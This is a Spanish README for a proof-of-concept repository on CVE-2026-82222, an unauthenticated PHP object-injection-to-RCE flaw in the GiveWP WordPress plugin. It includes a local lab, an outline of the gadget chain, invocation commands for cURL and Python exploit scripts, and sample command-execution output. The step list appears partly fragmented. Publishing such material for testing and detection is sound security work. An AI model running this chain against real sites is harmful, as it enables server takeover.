Prueba de concepto y laboratorio local de DDEV para CVE-2026-82222, una inyección de objetos PHP no autenticada a RCE en el plugin GiveWP de WordPress, con scripts de explotación en cURL y Python.
Laboratorio + prueba de concepto para CVE-2026-82222: inyección de objetos PHP no autenticada que conduce a ejecución remota de código en el plugin de donaciones GiveWP para WordPress <= 4.16.7.1 (parcheado en 4.16.7.2).
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Crítico) |
| CWE | CWE-502 — Deserialización de datos no confiables |
| Afectado | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Parcheado | 4.16.7.2 |
| Aviso | Patchstack |
SOLO PRUEBAS AUTORIZADAS. Este repositorio es para educación, investigación de vulnerabilidades y pruebas en sistemas que posees o para los que tienes permiso explícito de probar. El uso no autorizado es ilegal.
Este repositorio existe para ayudar a los profesionales de seguridad a
entender, detectar y defenderse contra CVE-2026-82222. Todas las
demostraciones están diseñadas para un laboratorio local (lab/) que
ejecutas en tu propia máquina. El PoC no escribe nada en disco ni cambia
ninguna configuración del plugin — la salida del comando viaja únicamente en
la respuesta HTTP de la solicitud de activación. Consulta SECURITY.md
para el alcance completo y la política de reporte.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Cuatro solicitudes no autenticadas más un disparador:
users_can_register y entrega cookies de WP autenticadas.TCPDF → Symfony Session →
DonorFactory → system) en el campo meta last_name de la cuenta.give_last; GiveWP rellena el nombre
desde la base de datos, deserializa el gadget con allowed_classes=false, y
serializa el grafo de objetos en vivo en wp_give_sessions.unserialize()
sin restricciones; TCPDF::__destruct() alcanza
call_user_func_array('system', [cmd]). La salida aparece en la respuesta
HTTP — nada se escribe en disco.Detalles completos: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Requiere Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Ambos PoC son de objetivo único por diseño — no hay modo por lotes ni de
escaneo masivo. Ejecútalos solo contra el laboratorio en lab/ o sistemas que
estés autorizado a probar.
Salida esperada en caso de éxito (comando id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Estado |
|---|---|
| <= 4.16.5.1 | Vulnerable — la instalación por defecto es totalmente alcanzable |
| 4.16.6 – 4.16.7.1 | Vulnerable — requiere un formulario legacy (no V3); el registro necesita give_register_nonce |
| 4.16.7.2 | Parcheado |
Este repositorio se proporciona únicamente con fines educativos y de investigación en seguridad defensiva. El código incluido demuestra una vulnerabilidad documentada para que los defensores puedan construir detecciones, verificar parches y probar sus propios sistemas.
Los autores no son responsables de ningún uso indebido o daño causado por este material. No lo uses contra ningún sistema sin autorización explícita — hacerlo puede violar la Computer Fraud and Abuse Act (CFAA) y leyes equivalentes en todo el mundo. Consulta SECURITY.md.
MIT — consulta LICENSE.